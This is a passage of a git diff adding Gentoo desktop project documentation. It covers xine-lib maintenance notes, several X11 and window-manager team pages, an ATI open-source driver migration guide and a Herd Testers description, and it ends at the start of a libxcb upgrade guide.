+maintainer (<mail link="flameeyes@gentoo.org">Diego Pettenò</mail>) is now
+contributing directly to
+<uri link="http://sourceforge.net/projects/xine">xine project</uri>. For this
+reason, while he's present, it's a good idea to pass through him for patches
+that are needed.
+</p>
+
+<note>
+Since 1.1.4 version, the only patch needed is part of the old TEXTREL
+patch; this patch is missing up to now.
+</note>
+
+<p>
+If a patch that is not Gentoo-specific is being added to the ebuild, is usually
+suggested to send it upstream through <uri
+link="http://bugs.xine-project.org/">their tracker</uri>, to be applied
+upstream. Similarly bugs that are not Gentoo specific are to be reported there
+so that they can be fixed directly by upstream. Backporting patches is an option
+once upstream fixed the issue.
+</p>
+
+<note>
+The preferred method to receive patches by the xine project is to send them as
+Mercurial exports: commit them on a local clone of the repository, and then use
+hg export to prepare the patch to send. This way the original author of the
+patch will be listed in the log.
+</note>
+
+<p>
+As <c>xine-lib</c> uses a number of libraries that are synced from time to time
+with its source tree, the patches that changes files imported from other
+projects are usually not accepted by <c>xine-lib</c>'s upstream and needs to be
+sent to the originating project. The main examples are <c>ffmpeg</c> and
+<c>vidix</c>, but also <c>dvdnav</c>.
+In those cases, if the patch is applied upstream, it might be usefult to ask
+for a sync of the sources to xine's developers.
+</p>
+
+<p>
+The patches are hosted in CVS inside <path>gentoo/src/patchsets/xine-lib</path>
+and are organized by version. Released patchsets are tagged with the name of the
+tarball minus the <path>.tar.bz2</path>. The directories contains also a series
+file, as they are used by quilt: just symlink the checked out directory inside
+an extracted source tree of xine-lib (for that version) and use <c>quilt</c> to
+manage the patches.
+</p>
+
+<impo>
+Also if usually this point was never stressed out, now that patches are hosted
+on the CVS it's important that they bring a description in the header, with also
+a link to relevant bugs, both in Gentoo and upstream.
+</impo>
+
+</body>
+</section>
+
+<section> <!-- External and internal libraries -->
+<title>External and internal libraries</title>
+
+<body>
+<p>
+As many other multimedia programs, also <c>xine-lib</c> has dependencies on a
+lot of libraries for format input and output. Most of them are optional, and
+some of them are included inside the same source tarball as the library.
+</p>
+
+<p>
+The patches used in the past to use external libraries instead of internals are
+now (as of 1.1.1 version of <c>xine-lib</c>) included in the original sources.
+The use of external libraries is enabled passing
+<c>--with-external-<e>library</e></c> to the <c>configure</c> script. It's
+preferred to use the external libraries (Portage-provided) so that if they need
+to be fixed, xine will make use of the fixes. This was for example the case of
+<path>libmad</path> decoding library on 64-bit systems.
+</p>
+
+<note>
+As also <path>libmad</path> is used external or not used at all, <c>xine-lib</c>
+might not be always able to decode mp3 audio without it. Since version
+1.1.2_pre20060328-r1 this doesn't lead to crashes any longer. Since version
+1.1.3_pre20060929, even with mad useflag disabled MP3 files can be decoded
+through FFmpeg (albeit with some problems).
+</note>
+
+<p>
+An exception to the above rules applies to <c>libdvdnav</c>. The internal
+version in xine-lib is a CVS snapshot of the copy developed by the Linux DVD
+project, and thus works better than the last released copy. xine-lib 1.1 is not
+yet ready to use the new version developed by MPlayer project.
+</p>
+
+<p>
+Although in the past <c>ffmpeg</c> support was selectable between internal and
+external through the <b>ffmpeg</b> useflag, starting from <c>xine-lib</c> 1.1.2
+the only choice is to use the external copy. This makes simpler the ebuild,
+requires messing less with the code to build PIC safe code, and reduces the
+amount of TEXTRELs that are created. Updating <c>xine-lib</c> for newer
+snapshots of <c>ffmpeg</c> might be required, but that should be done before its
+actual unmasking.
+</p>
+
+<p>
+Older ebuilds had to do some tricks to get the path for X libraries such as
+libXv and libXvMC, as the default configure script didn't take the right
+libraries when looking for them in the usual places. This is now solved as the
+ebuilds depend on modular XOrg, and upstream configure now uses pkg-config for
+libraries discovery.
+</p>
+
+<p>
+There also was a problem using three different XvMC libraries. Since version
+1.1.3_pre20060929, the <b>xvmc</b> USE flag uses the XvMCW wrapper library
+rather than choosing at build time one of the three libraries.
+</p>
+
+</body>
+
+</section>
+
+<section> <!-- CFLAGS -->
+<title>CFLAGS</title>
+
+<body>
+
+<p>
+As many other multimedia programs, also <c>xine-lib</c> has its own problems
+with extremely riced flags. Actually, the original xine-lib configure uses by
+itself quite extreme flags, on x86 and amd64 platforms. A saner behaviour can be
+applied by using the <c>--disable-optimizations</c> option at <c>./configure</c>.
+</p>
+
+<p>
+In the past we had to force a few optimisations on to be able to build
+<c>xine-lib</c> on x86, but as we now use the external copy of FFmpeg libraries,
+most of the problems are solved and now xine-lib can be built fine without much
+tinkering.
+</p>
+
+</body>
+</section>
+
+<section> <!-- useflags -->
+<title>useflags</title>
+
+<body>
+
+<p>
+<c>xine-lib</c> uses quite a few useflags. Almost every dependency has its own
+useflag to enable or disable it. The useflags works basically as every other
+useflag with the same name in other packages, but there are a couple that have
+notes.
+</p>
+
+<p>
+The first note is about <b>win32codecs</b> useflag. This is used to enable the
+support for the binary win32 codecs that are emulated using a subset of Wine
+functions. Since version 1.1.3 onward, as xine-lib supports decoding of WMV9
+files through <c>ffmpeg</c>. The ASF demuxer is now forced enabled.
+</p>
+
+<p>
+A note about the <b>debug</b> useflag is probably good; this useflag was added
+after request in
+<uri link="http://bugs.gentoo.org/show_bug.cgi?id=112980">bug #112980</uri>, and
+just adds <c>-UNDEBUG -DDEBUG</c> to the flags passed to compiler.
+<c>xine-lib</c> has a way to create a "debug build" by using special make
+targets, this build simply adds <c>-DDEBUG -g</c> flags to the compiler flags.
+Using that with <b>debug</b> useflag is bad looking inside the ebuild. The
+<c>-g</c> flag should be passed by the user if he really wants debug data, so
+the only thing ad hoc for the package is the <c>-DDEBUG</c> flag. If you want to
+be able to get meaningful backtraces, please follow
+<uri link="/proj/en/qa/backtraces.xml">the related guide</uri>.
+</p>
+
+<p>
+Talking about the <b>flac</b> flag, instead, it's useful to know that
+it does not control the ability of <c>xine-lib</c> to decode FLAC
+files: it simply enables or disables the libFLAC-based decoder and
+demuxer, both of which are not mandatory, as there's a native FLAC
+demuxer in xine-lib, and FFmpeg can decode FLAC files just fine
+without this flag enabled.
+</p>
+
+</body>
+</section>
+
+<section> <!-- The TEXTRELs issue -->
+<title>The TEXTRELs issue</title>
+
+<body>
+
+<p>
+<c>xine-lib</c>, along with other multimedia software, has problems related to
+TEXTRELs in compiled binaries on x86 platform. The problem is stated in
+<uri link="http://bugs.gentoo.org/show_bug.cgi?id=113255">bug #113255</uri>.
+</p>
+
+<p>
+Thanks to the PaX Team, <c>xine-lib-1.1.1-r3</c> and later versions are now
+fixed not to have TEXTRELs due to the win32codecs support and to the
+postprocessing filters of xine itself.
+</p>
+
+<p>
+As <c>ffmpeg</c> is now always used external, all the issues inside this package
+are now fixed, and the remaining ones are actually up to <c>ffmpeg</c> itself.
+</p>
+
+<note>
+The patch was mostly merged into xine-lib CVS since before the 1.1.4
+release, with the exception of some TomSoComp changes that seems to
+cause crashes with some interlaced media when SSE is enabled; that is
+the only missing patch up to now.
+</note>
+
+</body>
+</section>
+
+<section> <!-- CVS Snapshot -->
+<title>Live Development Snapshots</title>
+
+<body>
+
+<p>
+Missing an updated release after 1.1.1, and this having quite a few of problems
+(counting in also a security issue), it happened that a pre-1.1.2 snapshot was
+made and also marked stable. In case there will be need for more snapshots,
+these are the basic instructions needed to generate one.
+</p>
+
+<p>
+The first thig is to get a Mercurial checkout of xine-lib sources from the
+proper branch. At the moment xine-lib is developed using Mercurial at <uri
+link="http://hg.debian.org/">Alioth</uri>, and the branch you're interested to
+is most likely the 1.1 branch <uri
+link="http://hg.debian.org/hg/xine-lib/xine-lib">http://hg.debian.org/hg/xine-lib/xine-lib</uri>.
+Make sure it is complete and not with a lot of FIXME in the log. After that you
+can use the simple command <c>make dist</c> to build a tarball to use for the
+ebuild. Make sure you try a <c>make distcheck</c> to ensure that everything is
+present, and run a few compile tests as well as runtime tests so that it works.
+</p>
+
+<p>
+Patches has to be applied over that snapshot, not included in the snapshot
+itself, to make sure they don't collide if they have to be modified. The patches
+can be handled as usual from Gentoo CVS with <c>quilt</c>.
+</p>
+
+<p>
+The snapshot tarball, the directory inside it and the patches directory should
+be all named using <c>${P}</c> variable, and the tarball should be compressed
+with <c>bzip2</c>
+</p>
+
+</body>
+
+</section>
+
+</chapter>
+
+<chapter> <!-- Frontends -->
+<title>Frontends</title>
+
+<section> <!-- xine-ui -->
+<title>xine-ui</title>
+
+<body>
+<p>
+<c>media-video/xine-ui</c> is considered the main xine frontend, as it's
+released by the same project as <c>xine-lib</c> and it is toolkit-agnostic.
+</p>
+
+<p>
+Its handling is much simpler than <c>xine-lib</c>'s, patches and bugs can still
+be sent upstream through <uri link="http://bugs.xine-project.org/">xine's
+tracker</uri>, and then dropped when the new releases are done.
+</p>
+
+<p>
+In a fashion similar to xine-lib, also patches to <c>xine-ui</c> are hosted in CVS
+at <path>gentoo/src/patchsets/xine-ui</path>, orderd by version. The directories
+are also <c>quilt</c> patches so they can be symlinked and then managed by it.
+It's important to document the non-obvious patches, as done for xine-lib.
+</p>
+
+<p>
+Missing a 0.99.5 release, and having the previous one security issues, there's
+currently in the tree also a snapshot version that fixes a lot of stability
+issues, as well as a few security problems. The new 0.99.5 version should solve
+all the previous issues.
+</p>
+
+</body>
+
+</section>
+
+<section> <!-- gxine -->
+<title>gxine</title>
+
+<body>
+<p>
+<c>media-video/gxine</c> is a frontend based on GTK2 toolkit, it has fewer
+optional dependencies than <c>xine-ui</c> so it's usually simpler to manage.
+Although it had a few security vulnerabilities in the past, the new code should
+be safer. Patches to this can be sent to <uri
+link="http://bugs.xine-project.org/">xine's tracker</uri> as usual or to the
+upstream maintainer, <mail link="linux@youmustbejoking.demon.co.uk">Darren
+Salt</mail>. As per xine-lib, the patches are welcome as Mercurial commits exports.
+</p>
+
+<p>
+Like xine-lib, gxine is developed in a Mercurial repository at Alioth, you
+probably want to get the branch <uri
+link="http://hg.debian.org/hg/xine-lib/gxine">http://hg.debian.org/hg/xine-lib/gxine</uri>.
+</p>
+
+<p>
+Of the few useflags, the only one that requires a bit of handling is
+<b>nsplugin</b>, that is used to build and install the Mozilla plugin.
+</p>
+
+</body>
+</section>
+
+<section> <!-- Kaffeine -->
+<title>Kaffeine</title>
+
+<body>
+<p>
+<c>media-video/kaffeine</c> is a KDE application that used to be a
+<c>xine-lib</c> frontend, while at the moment it supports not only xine, but
+also mplayer and gstreamer <e>KParts</e>. Xine remains the main engine and it's
+the only mandatory one.
+</p>
+
+<p>
+Its handling is usually in KDE herd's hands, as most of the problems that might
+arise with it are related to <c>xine-lib</c> itself. The only important detail
+to remember is that it requires a newer <c>xorg-x11</c> as there were troubles
+with old versions and with <c>xfree</c>.
+</p>
+
+<p>
+Kaffeine can use XCB library for xine video output, through the <b>xcb</b> USE
+flag, which requires <b>xcb</b> USE flag to be enabled in
+<c>media-libs/xine-lib</c> too. Upstream wants soon to make this a default
+non-switchable behaviour as without XCB, Kaffeine's embedding through KPart
+will make GwenView, Konqueror and other software crash at unload.
+</p>
+
+</body>
+</section>
+
+<section> <!-- Amarok -->
+<title>Amarok</title>
+
+<body>
+
+<p>
+See <uri link="/proj/en/desktop/sound/amarok.xml">Amarok maintainer's guide</uri>
+</p>
+
+</body>
+
+</section>
+
+</chapter>
+
+</guide>
+
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; indent-mode normal; -->
diff --git a/xml/htdocs/proj/en/desktop/wm/index.xml b/xml/htdocs/proj/en/desktop/wm/index.xml
new file mode 100644
index 00000000..12822210
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/wm/index.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>desktop-wm</name>
+<longname>Gentoo WM Project</longname>
+<date>05 Nov 2003</date>
+<author title="Author">Brandon Hale</author>
+
+<description>
+	The WM project manages the wide variety of Window Managers in Portage.
+</description>
+
+<longdescription>
+	<p>The WM project manages the wide variety of Window Manager in Portage.
+	These include commonbox (open/flux/blackbox), next generation Blackbox
+	workalikes (openbox3, kahakai), GnuStep (gnu/afterstep, windowmaker), and
+	a number of minimal WM's (ion, ratpoison, etc).</p>
+</longdescription>
+
+<goals>
+	<p>The goal of the WM project is to support all WM's in Portage and
+	any additional packages directly related to these WM's. We are also
+	interested in packages that add functionality to the WM, like keygrabbers.</p>
+</goals>
+
+<herd name="gnustep"/>
+<herd name="desktop-wm"/>
+
+<extrachapter position="bottom">
+<title>Got Boogs?</title>
+<section>
+<body>
+	<p>If you are experiencing a bug with a WM, we'd like to hear from you!
+	Include all relevant information in your report to 
+	<uri link="http://bugs.gentoo.org">Gentoo's Bugzilla</uri>.
+	Please include the output of "emerge --info" and your version of X and the
+	WM experiencing the problem.</p>
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/desktop/x/fonts/index.xml b/xml/htdocs/proj/en/desktop/x/fonts/index.xml
new file mode 100644
index 00000000..b218c661
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/x/fonts/index.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>fonts</name>
+<longname>Fonts Herd</longname>
+<date>26 Dec 2007</date>
+<author title="Author">Donnie Berkholz</author>
+
+<description>
+	The fonts herd maintains fonts packages in Portage.
+</description>
+
+<longdescription>
+	<p>The fonts herd maintains fonts packages in Portage. These largely reside
+	in the media-fonts category. Some of the packages also have secondary
+	maintainers, such as the gnome herd, because they are part of the core of
+	another package.</p>
+</longdescription>
+
+<dev role="lead">pva</dev>
+<dev role="member">matsuu</dev>
+<dev role="x11">lu_zero</dev>
+<dev role="member">dirtyepic</dev>
+<dev role="member">spatz</dev>
+
+<extrachapter position="bottom">
+<title>Want to help?</title>
+<section>
+<body>
+	<p>If you want to get involved with improving Gentoo's font experience, we'd
+	like to hear from you! The main thing you'll want to do is be active on
+	<uri link="http://bugs.gentoo.org">Gentoo's Bugzilla</uri>. Also please
+	join desktop project members in #gentoo-desktop on irc.freenode.net.</p>
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/desktop/x/index.xml b/xml/htdocs/proj/en/desktop/x/index.xml
new file mode 100644
index 00000000..557d4408
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/x/index.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>X</name>
+<longname>X subproject</longname>
+<date>06 Dec 2003</date>
+<author title="Author">Donnie Berkholz</author>
+
+<description>
+	The X subproject manages the X implementations and related packages in Portage.
+</description>
+
+<longdescription>
+	<p>The X subproject manages the X implementations, drivers, base-level
+	accessories and fonts in Portage. This includes X.Org, XFree86, drivers
+	and kernel modules such as ati-drivers, nvidia-kernel, nvidia-glx and
+	xfree-drm as well as other core libraries, fonts and accessories.</p>
+</longdescription>
+
+<goals>
+	<p>The subproject aims to support X implementations and driver or accessory
+	add-ons to the core. Increasing the modularity of monolithic builds and
+	making configuration automatic or easier are part of its current work.</p>
+</goals>
+
+<dev role="lead">dberkholz</dev>
+
+<subproject ref="/proj/en/desktop/x/x11/index.xml"/>
+<subproject ref="/proj/en/desktop/x/fonts/index.xml"/>
+<subproject ref="/proj/en/desktop/x/x11-drivers/index.xml"/>
+
+<extrachapter position="bottom">
+<title>Want to help?</title>
+<section>
+<body>
+	<p>If you want to get involved with improving Gentoo's X experience, we'd
+	like to hear from you! The main thing you'll want to do is be active on
+	<uri link="http://bugs.gentoo.org">Gentoo's Bugzilla</uri>. Also please
+	join desktop project members in #gentoo-desktop on irc.freenode.net.</p>
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/desktop/x/x11-drivers/index.xml b/xml/htdocs/proj/en/desktop/x/x11-drivers/index.xml
new file mode 100644
index 00000000..b06b8a7b
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/x/x11-drivers/index.xml
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>x11-drivers</name>
+<longname>X11-Drivers Herd</longname>
+<date>4 Oct 2006</date>
+<author title="Author">Donnie Berkholz</author>
+
+<description>
+	The X11-Drivers herd manages the external X drivers in Portage.
+</description>
+
+<longdescription>
+	<p>
+	The X11-Drivers herd manages the external X drivers in Portage. This
+	includes drivers and kernel modules such as ati-drivers, nvidia-drivers,
+	and x11-drm.
+	</p>
+</longdescription>
+
+<goals>
+	<p>
+	The herd aims to support external X drivers. Increasing the ease of
+	integration with X and making configuration automatic or easier are parts of
+	its goals.
+	</p>
+</goals>
+
+<dev role="member" description="GATOS, x11-drm, synaptics, wacom">battousai</dev>
+<dev role="member" description="ATI binary drivers">lu_zero</dev>
+<dev role="member" description="Nvidia">ricmm</dev>
+
+<extrachapter position="bottom">
+<title>Want to help?</title>
+<section>
+<body>
+	<p>
+	If you want to get involved with improving Gentoo's X experience, we'd
+	like to hear from you! The main thing you'll want to do is be active on
+	<uri link="http://bugs.gentoo.org">Gentoo's Bugzilla</uri>. Also please
+	join desktop project members in #gentoo-desktop on irc.freenode.net.
+	</p>
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/desktop/x/x11/ati-migration-guide.xml b/xml/htdocs/proj/en/desktop/x/x11/ati-migration-guide.xml
new file mode 100644
index 00000000..1a4363b1
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/x/x11/ati-migration-guide.xml
@@ -0,0 +1,148 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/x/x11/ati-migration-guide.xml,v 1.4 2009/09/23 21:20:13 nightmorph Exp $ -->
+
+<guide>
+<title>Gentoo ATI Migration guide</title>
+
+<author title="Author">
+  <mail link="scarabeus"/>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+
+<abstract>
+This guide demonstrates how to migrate from the binary ATI driver to the
+open-source driver (xf86-video-ati).
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.3</version>
+<date>2009-09-23</date>
+
+<chapter>
+<title>Replacing the binary driver with the open-source driver</title>
+<section>
+<title>Removing the old binary driver</title>
+<body>
+
+<pre caption="Removing the binary driver">
+<comment>(First, remove the old binary)</comment>
+# <i>emerge -C x11-drivers/ati-drivers</i>
+<comment>(Next, set the OpenGL implementation to Mesa)</comment>
+# <i>eselect opengl set xorg-x11</i> 
+</pre>
+
+<warn>
+Please note that <c>ati-drivers</c> are bad at uninstalling themselves and might
+leave the <c>fglrx.ko</c> module in your
+<path>/lib/modules/*kernel*/video/</path> folder. If this file resides on your
+system after uninstalling <c>ati-drivers</c>, please remove it.
+</warn>
+
+</body>
+</section>
+<section>
+<title>Getting 2D acceleration to work</title>
+<body>
+
+<p>
+To get working 2D acceleration, we have to specify which graphic card we use in
+<path>/etc/make.conf</path>.
+</p>
+
+<pre caption="Adding the radeon driver to make.conf">
+# <i>echo 'VIDEO_CARDS="radeon"' >> /etc/make.conf</i>
+</pre>
+
+<p>
+Now that our environment is setup, re-emerge all the packages that use the
+VIDEO_CARDS variable.
+</p>
+
+<pre caption="Reemerging all required packages">
+# <i>emerge -avuDN world </i>
+</pre>
+
+<note>
+This also update your system, so if you don't want to do so just drop the
+<c>-u</c> option.
+</note>
+
+<p>
+Next step is a bit tricky, because we have to correctly configure
+<path>/etc/X11/xorg.conf</path>.
+</p>
+
+<note>
+If you are using <c>x11-base/xorg-server-1.6</c> or newer, then you can just
+simply remove <path>xorg.conf</path> and skip this step.
+</note>
+
+<p>
+First, open the file <path>/etc/X11/xorg.conf</path> in your favorite editor.
+Second, search for the section containing <c>Driver "fglrx"</c>.  Third, remove
+everything in this section except the <c>Driver</c> and <c>Identifier</c> bits.
+Now replace <c>"fglrx"</c> with <c>"radeon"</c>.  More options for this driver
+can be found by reading <c>man radeon</c>.
+</p>
+
+<pre caption="Sample xorg.conf configuration">
+Section "Device"
+	VendorName	"ATI"
+	Identifier	"X700OS"
+	Driver		"radeon"
+EndSection
+</pre>
+
+</body>
+</section>
+<section>
+<title>Getting 3D acceleration to work</title>
+<body>
+
+<p>
+ATI's binary driver uses its own kernel module and OpenGL implementation.
+However, the open-source driver has the kernel module included in the kernel
+by default and needs just enabling.
+</p>
+
+<p>
+To configure the kernel simply run <c>make menuconfig</c> in
+<path>/usr/src/linux</path> and enable the following options as modules:
+</p>
+
+<pre caption="Enable the correct modules in the kernel">
+Device Drivers ->
+    Graphics support ->
+        [M] Direct Rendering Manager (XFree86 4.1.0 and Higher DRI support) ->
+            [M] ATI Radeon
+</pre>
+
+<p>
+After enabling those options just quit the configuration manager and run <c>make
+&amp;&amp; make modules_install</c> to get those installed.
+</p>
+
+<p>
+To use this module just type as root <c>modprobe radeon</c> or add the
+<c>radeon</c> module to the the correct config file so that it is loaded
+automatically on boot, such as <path>/etc/modules.autoload.d/kernel-2.6</path>
+or <path>/etc/conf.d/modules</path> (if you're using OpenRC and
+<c>baselayout-2</c>).
+</p>
+
+<warn>
+If you had your <c>fglrx</c> module loaded, you can't just <c>rmmod</c> it and
+load the <c>radeon</c> module. This leads to memory corruption and kernel panic.
+To get rid of the <c>fglrx</c> module you'll have to reboot your computer.
+</warn>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/x/x11/herd-testers.xml b/xml/htdocs/proj/en/desktop/x/x11/herd-testers.xml
new file mode 100644
index 00000000..1f8f415e
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/x/x11/herd-testers.xml
@@ -0,0 +1,118 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/x/x11/herd-testers.xml,v 1.1 2009/09/15 11:10:04 scarabeus Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/desktop/x/x11/ht/index.xml" lang="en">
+<title>X11 Herd Testers Project Team</title>
+
+<author title="Author">
+  <mail link="scarabeus@gentoo.org">Tomáš Chvátal</mail>
+</author>
+
+<abstract>
+The X11 HT Project is devoted to help the developers with testing packages,
+identifying issues and finding fixes.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2009-08-26</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<body>
+
+<p>
+As defined by <uri
+link="http://www.gentoo.org/proj/en/glep/glep-0041.html">GLEP 41</uri>, an HT is
+a trustworthy user who is able to help with testing packages, identifying issues
+and finding fixes.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>What you get</title>
+<section>
+<body>
+
+<p>
+All HTs receive a <c>/gentoo/contributor/${NAME}</c> IRC cloak, are added to
+the "Arch/Herd Tester" group on the <uri link="https://forums.gentoo.org/">
+Gentoo forums</uri>, are added to the <c>x11@gentoo.org</c> mail alias.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>What persons like Herd Testers have to do?</title>
+<section>
+<body>
+
+<p>
+HTs usually test packages (stabilisation preparations, live packages, new
+versions testing, ...),
+provide guidance on bug reports (verifying issues, providing patches),
+communicate with the X11 team through the team's IRC channel
+(<c>#gentoo-desktop</c>) and mail to the <c>x11@gentoo.org</c> mail alias.
+HTs are also invited to help users on forums, mailing lists and IRC channels.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Requirements</title>
+<section>
+<body>
+
+<p>
+We expect people to do good testing, show good knowledge about Gentoo in general
+and to be active (taking into account RL constraints). Also we require people
+have willingness to learn new stuff about freedesktop.org bug sumbission and
+patch tracking, or actualy willingness to learn anything interesting about x11
+:].
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Participating</title>
+<section>
+<body>
+
+<p>
+If you think your comments and patches submitted to Bugzilla and willingness to
+help other users on IRC, mailinglists and/or forums justifies HT status you can
+talk to the X11 team. Users will also be invited to become HTs by members of the
+X11 team that notice their work, abilities and desire to help the X11 team.
+</p>
+
+<p>
+To become an HT, the user will have to complete the <uri
+link="http://www.gentoo.org/proj/en/devrel/quiz/ebuild-quiz.txt">ebuild
+quiz</uri> and have a review session with the AT lead (<mail
+link="hparker@gentoo.org">hparker</mail>).
+</p>
+
+<p>
+Interested users should read the <uri link="http://devmanual.gentoo.org/">Gentoo
+Development Guide/DevManual</uri> and the <uri
+link="http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml">Gentoo
+Developer Handbook</uri> and should work with the other members of the herd to
+address the questions on the quiz. The KDE HT lead will work closely with all
+HTs, helping them prepare for the quiz and the interview, and will coordinate
+their work on the herd.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/x/x11/index.xml b/xml/htdocs/proj/en/desktop/x/x11/index.xml
new file mode 100644
index 00000000..84fbb9f3
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/x/x11/index.xml
@@ -0,0 +1,102 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>x11</name>
+<longname>X11 Team</longname>
+<date>30 Mar 2009</date>
+<author title="Author">Donnie Berkholz</author>
+
+<description>
+	The X11 team manages the X implementations in Portage.
+</description>
+
+<longdescription>
+	<p>The X11 team manages the X implementations and drivers and base-level
+	accessories in Portage. This includes X.Org, XFree86, drivers and kernel
+	modules such as ati-drivers, nvidia-kernel, nvidia-glx and xfree-drm as well
+	as other core libraries and accessories.</p>
+</longdescription>
+
+<goals>
+	<p>The team aims to support X implementations and driver or accessory
+	add-ons to the core. Increasing the modularity of monolithic builds and
+	making configuration automatic or easier are part of its current work.</p>
+</goals>
+
+<dev role="lead" description="xorg-x11, mesa, Intel driver">remi</dev>
+<dev role="member" description="xorg-x11, mesa">dberkholz</dev>
+<dev role="member" description="Geode driver">leio</dev>
+<dev role="member" description="x11-drm, SDK, external drivers">battousai</dev>
+<dev role="member" description="ATI binary drivers, PPC">lu_zero</dev>
+<dev role="member" description="xorg-x11, mesa, ATI">scarabeus</dev>
+<dev role="member" description="xorg-x11, mesa, nouveau">chithanh</dev>
+
+<resource link="maintaining.xml">
+	X Maintenance Guide
+</resource>
+
+<resource link="xorg-server-1.8-upgrade-guide.xml">
+	Xorg Server 1.8 Upgrade Guide
+</resource>
+
+<resource link="xorg-server-1.6-upgrade-guide.xml">
+	Xorg Server 1.6 Upgrade Guide
+</resource>
+
+<resource link="xorg-server-1.5-upgrade-guide.xml">
+	Xorg Server 1.5 Upgrade Guide
+</resource>
+
+<resource link="libxcb-1.4-upgrade-guide.xml">
+	Libxcb 1.4 Upgrade Guide
+</resource>
+
+<resource link="modular-x-howto.xml">
+	Migrating to Modular X HOWTO
+</resource>
+
+<resource link="porting-modular-x-howto.xml">
+	Porting to Modular X HOWTO
+</resource>
+
+<resource link="modular-x-todo.txt">
+	Modular X todo items
+</resource>
+
+<resource link="ati-migration-guide.xml">
+	Migration guide explaining the process needed for moving from ATI binary to ATI OS drivers
+</resource>
+
+<extrachapter position="bottom">
+<title>Want to help?</title>
+<section>
+<body>
+	<p>
+	If you want to get involved with improving Gentoo's X experience, we'd
+	like to hear from you! The main thing you'll want to do is be active on
+	<uri link="http://bugs.gentoo.org">Gentoo's Bugzilla</uri>. Also please
+	join desktop project members in #gentoo-desktop on irc.freenode.net.
+	</p>
+	<p>
+	If you are interested in fixing various bugs and don't know which ones
+	we care about, then take a look at the <uri
+	link="http://tinyurl.com/pv6qdo">X11 team buglist</uri>.
+	</p>
+	<p>
+	We are also looking for <uri link="herd-testers.xml">Herd
+	Testers</uri>.  If you are interested in becoming a regular X11
+	contributor you should read the document and accomodate yourself with
+	it :].
+	</p>
+	<warn>
+	This document is currently a WIP and might get changed a bit before the
+	final version.
+	</warn>
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/desktop/x/x11/libxcb-1.4-upgrade-guide.xml b/xml/htdocs/proj/en/desktop/x/x11/libxcb-1.4-upgrade-guide.xml
new file mode 100644
index 00000000..8df7f43c
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/x/x11/libxcb-1.4-upgrade-guide.xml
@@ -0,0 +1,135 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/x/x11/libxcb-1.4-upgrade-guide.xml,v 1.9 2009/09/28 06:22:48 remi Exp $ -->
+
+<guide link="/proj/en/desktop/x/x11/libxcb-1.4-upgrade-guide.xml" lang="en">
+<title>Gentoo libxcb 1.4 Upgrade Guide</title>
+
+<author title="Author">
+  <mail link="remi" />
+</author>
+
+<abstract>
